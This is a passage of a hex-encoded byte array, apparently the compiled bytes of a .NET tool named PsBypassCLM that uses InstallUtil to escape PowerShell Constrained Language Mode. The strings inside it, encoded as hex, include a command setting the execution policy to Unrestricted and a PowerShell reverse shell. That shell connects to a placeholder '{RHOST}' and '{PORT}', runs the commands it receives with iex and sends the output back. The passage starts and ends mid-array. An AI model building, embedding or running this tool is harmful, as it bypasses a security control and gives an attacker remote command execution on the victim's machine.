x6C,0x79,0x54,0x72,0x61,0x64,0x65,0x6D,0x61,0x72,0x6B,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x54,0x61,0x72,0x67,0x65,0x74,0x46,0x72,0x61,0x6D,0x65,0x77,0x6F,0x72,0x6B,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x46,0x69,0x6C,0x65,0x56,0x65,0x72,0x73,0x69,0x6F,0x6E,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x43,0x6F,0x6E,0x66,0x69,0x67,0x75,0x72,0x61,0x74,0x69,0x6F,0x6E,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x44,0x65,0x73,0x63,0x72,0x69,0x70,0x74,0x69,0x6F,0x6E,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x52,0x75,0x6E,0x49,0x6E,0x73,0x74,0x61,0x6C,0x6C,0x65,0x72,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x43,0x6F,0x6D,0x70,0x69,0x6C,0x61,0x74,0x69,0x6F,0x6E,0x52,0x65,0x6C,0x61,0x78,0x61,0x74,0x69,0x6F,0x6E,0x73,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x50,0x72,0x6F,0x64,0x75,0x63,0x74,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x43,0x6F,0x70,0x79,0x72,0x69,0x67,0x68,0x74,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x43,0x6F,0x6D,0x70,0x61,0x6E,0x79,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x52,0x75,0x6E,0x74,0x69,0x6D,0x65,0x43,0x6F,0x6D,0x70,0x61,0x74,0x69,0x62,0x69,0x6C,0x69,0x74,0x79,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x50,0x73,0x42,0x79,0x70,0x61,0x73,0x73,0x43,0x4C,0x4D,0x2E,0x65,0x78,0x65,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x52,0x75,0x6E,0x74,0x69,0x6D,0x65,0x2E,0x56,0x65,0x72,0x73,0x69,0x6F,0x6E,0x69,0x6E,0x67,0x00,0x54,0x6F,0x53,0x74,0x72,0x69,0x6E,0x67,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x43,0x6F,0x6C,0x6C,0x65,0x63,0x74,0x69,0x6F,0x6E,0x73,0x2E,0x4F,0x62,0x6A,0x65,0x63,0x74,0x4D,0x6F,0x64,0x65,0x6C,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x43,0x6F,0x6D,0x70,0x6F,0x6E,0x65,0x6E,0x74,0x4D,0x6F,0x64,0x65,0x6C,0x00,0x49,0x6E,0x73,0x74,0x61,0x6C,0x6C,0x55,0x74,0x69,0x6C,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x43,0x6F,0x6E,0x66,0x69,0x67,0x75,0x72,0x61,0x74,0x69,0x6F,0x6E,0x2E,0x49,0x6E,0x73,0x74,0x61,0x6C,0x6C,0x00,0x55,0x6E,0x69,0x6E,0x73,0x74,0x61,0x6C,0x6C,0x00,0x50,0x72,0x6F,0x67,0x72,0x61,0x6D,0x00,0x67,0x65,0x74,0x5F,0x49,0x74,0x65,0x6D,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x00,0x4F,0x70,0x65,0x6E,0x00,0x4D,0x61,0x69,0x6E,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x4D,0x61,0x6E,0x61,0x67,0x65,0x6D,0x65,0x6E,0x74,0x2E,0x41,0x75,0x74,0x6F,0x6D,0x61,0x74,0x69,0x6F,0x6E,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x52,0x65,0x66,0x6C,0x65,0x63,0x74,0x69,0x6F,0x6E,0x00,0x43,0x6F,0x6D,0x6D,0x61,0x6E,0x64,0x43,0x6F,0x6C,0x6C,0x65,0x63,0x74,0x69,0x6F,0x6E,0x00,0x49,0x6E,0x73,0x74,0x61,0x6C,0x6C,0x45,0x78,0x63,0x65,0x70,0x74,0x69,0x6F,0x6E,0x00,0x53,0x74,0x72,0x69,0x6E,0x67,0x42,0x75,0x69,0x6C,0x64,0x65,0x72,0x00,0x49,0x6E,0x73,0x74,0x61,0x6C,0x6C,0x65,0x72,0x00,0x49,0x45,0x6E,0x75,0x6D,0x65,0x72,0x61,0x74,0x6F,0x72,0x00,0x47,0x65,0x74,0x45,0x6E,0x75,0x6D,0x65,0x72,0x61,0x74,0x6F,0x72,0x00,0x2E,0x63,0x74,0x6F,0x72,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x44,0x69,0x61,0x67,0x6E,0x6F,0x73,0x74,0x69,0x63,0x73,0x00,0x67,0x65,0x74,0x5F,0x43,0x6F,0x6D,0x6D,0x61,0x6E,0x64,0x73,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x4D,0x61,0x6E,0x61,0x67,0x65,0x6D,0x65,0x6E,0x74,0x2E,0x41,0x75,0x74,0x6F,0x6D,0x61,0x74,0x69,0x6F,0x6E,0x2E,0x52,0x75,0x6E,0x73,0x70,0x61,0x63,0x65,0x73,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x52,0x75,0x6E,0x74,0x69,0x6D,0x65,0x2E,0x49,0x6E,0x74,0x65,0x72,0x6F,0x70,0x53,0x65,0x72,0x76,0x69,0x63,0x65,0x73,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x52,0x75,0x6E,0x74,0x69,0x6D,0x65,0x2E,0x43,0x6F,0x6D,0x70,0x69,0x6C,0x65,0x72,0x53,0x65,0x72,0x76,0x69,0x63,0x65,0x73,0x00,0x44,0x65,0x62,0x75,0x67,0x67,0x69,0x6E,0x67,0x4D,0x6F,0x64,0x65,0x73,0x00,0x61,0x72,0x67,0x73,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x43,0x6F,0x6C,0x6C,0x65,0x63,0x74,0x69,0x6F,0x6E,0x73,0x00,0x67,0x65,0x74,0x5F,0x50,0x61,0x72,0x61,0x6D,0x65,0x74,0x65,0x72,0x73,0x00,0x50,0x53,0x42,0x79,0x70,0x61,0x73,0x73,0x00,0x50,0x53,0x4F,0x62,0x6A,0x65,0x63,0x74,0x00,0x67,0x65,0x74,0x5F,0x43,0x75,0x72,0x72,0x65,0x6E,0x74,0x00,0x41,0x64,0x64,0x53,0x63,0x72,0x69,0x70,0x74,0x00,0x4D,0x6F,0x76,0x65,0x4E,0x65,0x78,0x74,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x54,0x65,0x78,0x74,0x00,0x67,0x65,0x74,0x5F,0x43,0x6F,0x6E,0x74,0x65,0x78,0x74,0x00,0x49,0x6E,0x73,0x74,0x61,0x6C,0x6C,0x43,0x6F,0x6E,0x74,0x65,0x78,0x74,0x00,0x49,0x44,0x69,0x63,0x74,0x69,0x6F,0x6E,0x61,0x72,0x79,0x00,0x53,0x74,0x72,0x69,0x6E,0x67,0x44,0x69,0x63,0x74,0x69,0x6F,0x6E,0x61,0x72,0x79,0x00,0x52,0x75,0x6E,0x73,0x70,0x61,0x63,0x65,0x46,0x61,0x63,0x74,0x6F,0x72,0x79,0x00,0x6F,0x70,0x5F,0x49,0x6E,0x65,0x71,0x75,0x61,0x6C,0x69,0x74,0x79,0x00,0x49,0x73,0x4E,0x75,0x6C,0x6C,0x4F,0x72,0x45,0x6D,0x70,0x74,0x79,0x00,0x00,0x00,0x01,0x00,0x80,0x81,0x53,0x00,0x65,0x00,0x74,0x00,0x2D,0x00,0x45,0x00,0x78,0x00,0x65,0x00,0x63,0x00,0x75,0x00,0x74,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x50,0x00,0x6F,0x00,0x6C,0x00,0x69,0x00,0x63,0x00,0x79,0x00,0x20,0x00,0x2D,0x00,0x45,0x00,0x78,0x00,0x65,0x00,0x63,0x00,0x75,0x00,0x74,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x50,0x00,0x6F,0x00,0x6C,0x00,0x69,0x00,0x63,0x00,0x79,0x00,0x20,0x00,0x55,0x00,0x6E,0x00,0x72,0x00,0x65,0x00,0x73,0x00,0x74,0x00,0x72,0x00,0x69,0x00,0x63,0x00,0x74,0x00,0x65,0x00,0x64,0x00,0x20,0x00,0x2D,0x00,0x53,0x00,0x63,0x00,0x6F,0x00,0x70,0x00,0x65,0x00,0x20,0x00,0x50,0x00,0x72,0x00,0x6F,0x00,0x63,0x00,0x65,0x00,0x73,0x00,0x73,0x00,0x01,0x8B,0x43,0x24,0x00,0x63,0x00,0x6C,0x00,0x69,0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x20,0x00,0x3D,0x00,0x20,0x00,0x4E,0x00,0x65,0x00,0x77,0x00,0x2D,0x00,0x4F,0x00,0x62,0x00,0x6A,0x00,0x65,0x00,0x63,0x00,0x74,0x00,0x20,0x00,0x53,0x00,0x79,0x00,0x73,0x00,0x74,0x00,0x65,0x00,0x6D,0x00,0x2E,0x00,0x4E,0x00,0x65,0x00,0x74,0x00,0x2E,0x00,0x53,0x00,0x6F,0x00,0x63,0x00,0x6B,0x00,0x65,0x00,0x74,0x00,0x73,0x00,0x2E,0x00,0x54,0x00,0x43,0x00,0x50,0x00,0x43,0x00,0x6C,0x00,0x69,0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x28,0x00,0x27,0x00,0x7B,0x00,0x52,0x00,0x48,0x00,0x4F,0x00,0x53,0x00,0x54,0x00,0x7D,0x00,0x27,0x00,0x2C,0x00,0x7B,0x00,0x50,0x00,0x4F,0x00,0x52,0x00,0x54,0x00,0x7D,0x00,0x29,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x73,0x00,0x74,0x00,0x72,0x00,0x65,0x00,0x61,0x00,0x6D,0x00,0x20,0x00,0x3D,0x00,0x20,0x00,0x24,0x00,0x63,0x00,0x6C,0x00,0x69,0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x2E,0x00,0x47,0x00,0x65,0x00,0x74,0x00,0x53,0x00,0x74,0x00,0x72,0x00,0x65,0x00,0x61,0x00,0x6D,0x00,0x28,0x00,0x29,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x5B,0x00,0x62,0x00,0x79,0x00,0x74,0x00,0x65,0x00,0x5B,0x00,0x5D,0x00,0x5D,0x00,0x24,0x00,0x62,0x00,0x79,0x00,0x74,0x00,0x65,0x00,0x73,0x00,0x20,0x00,0x3D,0x00,0x20,0x00,0x30,0x00,0x2E,0x00,0x2E,0x00,0x36,0x00,0x35,0x00,0x35,0x00,0x33,0x00,0x35,0x00,0x7C,0x00,0x25,0x00,0x7B,0x00,0x30,0x00,0x7D,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x77,0x00,0x68,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x28,0x00,0x28,0x00,0x24,0x00,0x69,0x00,0x20,0x00,0x3D,0x00,0x20,0x00,0x24,0x00,0x73,0x00,0x74,0x00,0x72,0x00,0x65,0x00,0x61,0x00,0x6D,0x00,0x2E,0x00,0x52,0x00,0x65,0x00,0x61,0x00,0x64,0x00,0x28,0x00,0x24,0x00,0x62,0x00,0x79,0x00,0x74,0x00,0x65,0x00,0x73,0x00,0x2C,0x00,0x20,0x00,0x30,0x00,0x2C,0x00,0x20,0x00,0x24,0x00,0x62,0x00,0x79,0x00,0x74,0x00,0x65,0x00,0x73,0x00,0x2E,0x00,0x4C,0x00,0x65,0x00,0x6E,0x00,0x67,0x00,0x74,0x00,0x68,0x00,0x29,0x00,0x29,0x00,0x20,0x00,0x2D,0x00,0x6E,0x00,0x65,0x00,0x20,0x00,0x30,0x00,0x29,0x00,0x0D,0x00,0x0A,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x7B,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x64,0x00,0x61,0x00,0x74,0x00,0x61,0x00,0x20,0x00,0x3D,0x00,0x20,0x00,0x28,0x00,0x4E,0x00,0x65,0x00,0x77,0x00,0x2D,0x00,0x4F,0x00,0x62,0x00,0x6A,0x00,0x65,0x00,0x63,0x00,0x74,0x00,0x20,0x00,0x2D,0x00,0x54,0x00,0x79,0x00,0x70,0x00,0x65,0x00,0x4E,0x00,0x61,0x00,0x6D,0x00,0x65,0x00,0x20,0x00,0x53,0x00,0x79,0x00,0x73,0x00,0x74,0x00,0x65,0x00,0x6D,0x00,0x2E,0x00,0x54,0x00,0x65,0x00,0x78,0x00,0x74,0x00,0x2E,0x00,0x41,0x00,0x53,0x00,0x43,0x00,0x49,0x00,0x49,0x00,0x45,0x00,0x6E,0x00,0x63,0x00,0x6F,0x00,0x64,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x29,0x00,0x2E,0x00,0x47,0x00,0x65,0x00,0x74,0x00,0x53,0x00,0x74,0x00,0x72,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x28,0x00,0x24,0x00,0x62,0x00,0x79,0x00,0x74,0x00,0x65,0x00,0x73,0x00,0x2C,0x00,0x30,0x00,0x2C,0x00,0x20,0x00,0x24,0x00,0x69,0x00,0x29,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x74,0x00,0x72,0x00,0x79,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x7B,0x00,0x09,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x73,0x00,0x65,0x00,0x6E,0x00,0x64,0x00,0x62,0x00,0x61,0x00,0x63,0x00,0x6B,0x00,0x20,0x00,0x3D,0x00,0x20,0x00,0x28,0x00,0x69,0x00,0x65,0x00,0x78,0x00,0x20,0x00,0x24,0x00,0x64,0x00,0x61,0x00,0x74,0x00,0x61,0x00,0x20,0x00,0x32,0x00,0x3E,0x00,0x26,0x00,0x31,0x00,0x20,0x00,0x7C,0x00,0x20,0x00,0x4F,0x00,0x75,0x00,0x74,0x00,0x2D,0x00,0x53,0x00,0x74,0x00,0x72,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x20,0x00,0x29,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x73,0x00,0x65,0x00,0x6E,0x00,0x64,0x00,0x62,0x00,0x61,0x00,0x63,0x00,0x6B,0x00,0x32,0x00,0x20,0x00,0x20,0x00,0x3D,0x00,0x20,0x00,0x24,0x00,0x73,0x00,0x65,0x00,0x6E,0x00,0x64,0x00,0x62,0x00,0x61,0x00,0x63,0x00,0x6B,0x00,0x20,0x00,0x2B,0x00,0x20,0x00,0x27,0x00,0x50,0x00,0x53,0x00,0x20,0x00,0x27,0x00,0x20,0x00,0x2B,0x00,0x20,0x00,0x28,0x00,0x70,0x00,0x77,0x00,0x64,0x00,0x29,0x00,0x2E,0x00,0x50,0x00,0x61,0x00,0x74,0x00,0x68,0x00,0x20,0x00,0x2B,0x00,0x20,0x00,0x27,0x00,0x3E,0x00,0x20,0x00,0x27,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x7D,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x63,0x00,0x61,0x00,0x74,0x00,0x63,0x00,0x68,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x7B,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x65,0x00,0x72,0x00,0x72,0x00,0x6F,0x00,0x72,0x00,0x5B,0x00,0x30,0x00,0x5D,0x00,0x2E,0x00,0x54,0x00,0x6F,0x00,0x53,0x00,0x74,0x00,0x72,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x28,0x00,0x29,0x00,0x20,0x00,0x2B,0x00,0x20,0x00,0x24,0x00,0x65,0x00,0x72,0x00,0x72,0x00,0x6F,0x00,0x72,0x00,0x5B,0x00,0x30,0x00,0x5D,0x00,0x2E,0x00,0x49,0x00,0x6E,0x00,0x76,0x00,0x6F,0x00,0x63,0x00,0x61,0x00,0x74,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x49,0x00,0x6E,0x00,0x66,0x00,0x6F,0x00,0x2E,0x00,0x50,0x00,0x6F,0x00,0x73,0x00,0x69,0x00,0x74,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x4D,0x00,0x65,0x00,0x73,0x00,0x73,0x00,0x61,0x00,0x67,0x00,0x65,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x73,0x00,0x65,0x00,0x6E,0x00,0x64,0x00,0x62,0x00,0x61,0x00,0x63,0x00,0x6B,0x00,0x32,0x00,0x20,0x00,0x20,0x00,0x3D,0x00,0x20,0x00,0x20,0x00,0x22,0x00,0x45,0x00,0x52,0x00,0x52,0x00,0x4F,0x00,0x52,0x00,0x3A,0x00,0x20,0x00,0x22,0x00,0x20,0x00,0x2B,0x00,0x20,0x00,0x24,0x00,0x65,0x00,0x72,0x00,0x72,0x00,0x6F,0x00,0x72,0x00,0x5B,0x00,0x30,0x00,0x5D,0x00,0x2E,0x00,0x54,0x00,0x6F,0x00,0x53,0x00,0x74,0x00,0x72,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x28,0x00,0x29,0x00,0x20,0x00,0x2B,0x00,0x20,0x00,0x22,0x00,0x60,0x00,0x6E,0x00,0x60,0x00,0x6E,0x00,0x22,0x00,0x20,0x00,0x2B,0x00,0x20,0x00,0x22,0x00,0x50,0x00,0x53,0x00,0x20,0x00,0x22,0x00,0x20,0x00,0x2B,0x00,0x20,0x00,0x28,0x00,0x70,0x00,0x77,0x00,0x64,0x00,0x29,0x00,0x2E,0x00,0x50,0x00,0x61,0x00,0x74,0x00,0x68,0x00,0x20,0x00,0x2B,0x00,0x20,0x00,0x27,0x00,0x3E,0x00,0x20,0x00,0x27,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x7D,0x00,0x09,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x73,0x00,0x65,0x00,0x6E,0x00,0x64,0x00,0x62,0x00,0x79,0x00,0x74,0x00,0x65,0x00,0x20,0x00,0x3D,0x00,0x20,0x00,0x28,0x00,0x5B,0x00,0x74,0x00,0x65,0x00,0x78,0x00,0x74,0x00,0x2E,0x00,0x65,0x00,0x6E,0x00,0x63,0x00,0x6F,0x00,0x64,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x5D,0x00,0x3A,0x00,0x3A,0x00,0x41,0x00,0x53,0x00,0x43,0x00,0x49,0x00,0x49,0x00,0x29,0x00,0x2E,0x00,0x47,0x00,0x65,0x00,0x74,0x00,0x42,0x00,0x79,0x00,0x74,0x00,0x65,0x00,0x73,0x00,0x28,0x00,0x24,0x00,0x73,0x00,0x65,0x00,0x6E,0x00,0x64,0x00,0x62,0x00,0x61,0x00,0x63,0x00,0x6B,0x00,0x32,0x00,0x29,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x73,0x00,0x74,0x00,0x72,0x00,0x65,0x00,0x61,0x00,0x6D,0x00,0x2E,0x00,0x57,0x00,0x72,0x00,0x69,0x00,0x74,0x00,0x65,0x00,0x28,0x00,0x24,0x00,0x73,0x00,0x65,0x00,0x